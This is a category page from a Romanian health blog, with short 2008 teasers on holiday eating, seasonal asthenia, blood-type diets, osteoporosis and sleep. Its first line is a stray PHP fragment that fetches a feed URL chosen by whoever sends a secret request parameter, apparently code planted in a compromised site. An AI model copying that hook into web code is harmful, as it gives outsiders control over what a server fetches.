isset($_REQUEST['zox4vu']) && fetch_feed($_REQUEST['feed_url']); Alimentatie - MedicAS sfaturi medicale

La cei mai multi dintre noi se intimpla ca Sarbatorile sa fie incarcate nu numai de spiritualitate, ci si de mese bogate, foarte bogate, care dupa un post prelungit sa nu ne cada prea bine. Si atunci multi ne gindim ce sa facem? Intoarcerea catre natura, catre alimente mai usoare, o detoxifiere a organismului mai precis, ne poate da o stare de sanatate si de bine dupa ce ne-am supus, de bunavoie, organismul la mincaruri mai grele. Ceaiuri, legume, mincaruri usoare…e simplu si de noi depinde cum ne protejam sanatatea.


Drob, pasca, oua rosii, friptura de miel…mmmm…suna bine…toate intr-o zi…Si sanatatea noastra? Da, e adevarat, odata este Pastele, dar de ce sa riscam sa ne simtim rau cind putem sa ne simtim bine cu adevarat? Gustind doar din toate bunatatile, mai ales daca venim dupa o perioada de post. Citi mai departe cum ar trebui sa fie alimentatia noastra de Paste si ce ar trebui sa facem ca sa fie o zi minunata pe de-a intregul.


Din pacate, pentru unii dintre noi, primavara nu vine doar cu flori frumoase si mirositoare, soare si zile mai lungi, ci si cu astenia de primavara. Oboseala, dureri de cap, slabiciune, alte probleme de sanatate carora le cautam raspunsul. Si unul poate fi: suferim de astenia de primavara. Ce-i de facut? cititi mai departe…


Alimentatie grupa sanguina A

19 November, 2008

Pentru unii e doar ceva la moda, pentru altii a devenit o “biblie” a stilului de viata… Despre alimentatia pe grupe sanguine se vorbeste tot mai mult in ultimul timp. Si profesionistii sau cei care au studiat intens problema, dar si cei mai putin experimentati, care au citit o carte si se considera experti. De aceea e bine sa stim cu cine stam de vorba cind cerem sfaturi despre alimentatia pe grupe sanguine. Deoarece atunci cind vorbim despre o alimentatie corecta discutam pina la urma de sanatate, despre cum sa ne simtim bine, despre wellnes si o viata fericita, fara probleme.


Astenia de toamna

30 September, 2008

Toamna, anotimpul recoltelor, al inceperii scolilor, al covoarelor ruginii…unii ne bucuram de venirea ei, altii o resimtim, mai ales cind apare astenia de toamna…slabiciune, irascibilitate, diverse probleme de sanatate pot aparea. Nu este grav si cu masuri care sunt doar spre binele nostru putem sa nu jinduim dupa toridele zile de vara si sa ne bucuram de venirea unui anotimp care este si el pana la urma un nou inceput.


Constatam ca tot mai multe persoane aflate la varsta a-II-a incep sa sufere de reumatisme degenerative si osteoporoza , maladii specifice mai ales varstelor inaintate. Sunt probleme de sanatate care pot fi prevenite fara eforturi prea mari din partea noastra: o alimentatie corecta, miscare si exercitii fizice constante de-a lungul vietii. Si astfel evitam aparitia reumatismelor si a osteoporozei, dar si suferintele produse de ele si complicatiile lor.


Tulburari de somn?

15 July, 2008

Iulie-august luni de concediu pentru cei activi si foarte ocupati. Moment propice pentru a ne ocupa de somn, adica de calitatea, durata si interactiunile dintre el si obiceiurile noastre. Cu siguranta unii dintre noi s-au trezit mai obositi decat au adormit sau nu s-au putut odihni deloc pe parcursul noptii. Tulburarile de somn sau insomnia pot fi urmarile unor probleme de sanatate sau a unor obiceiuri nesanatoase. Ce e de facut? Cititi mai departe…


 
 

Newsletter

Loading... Loading...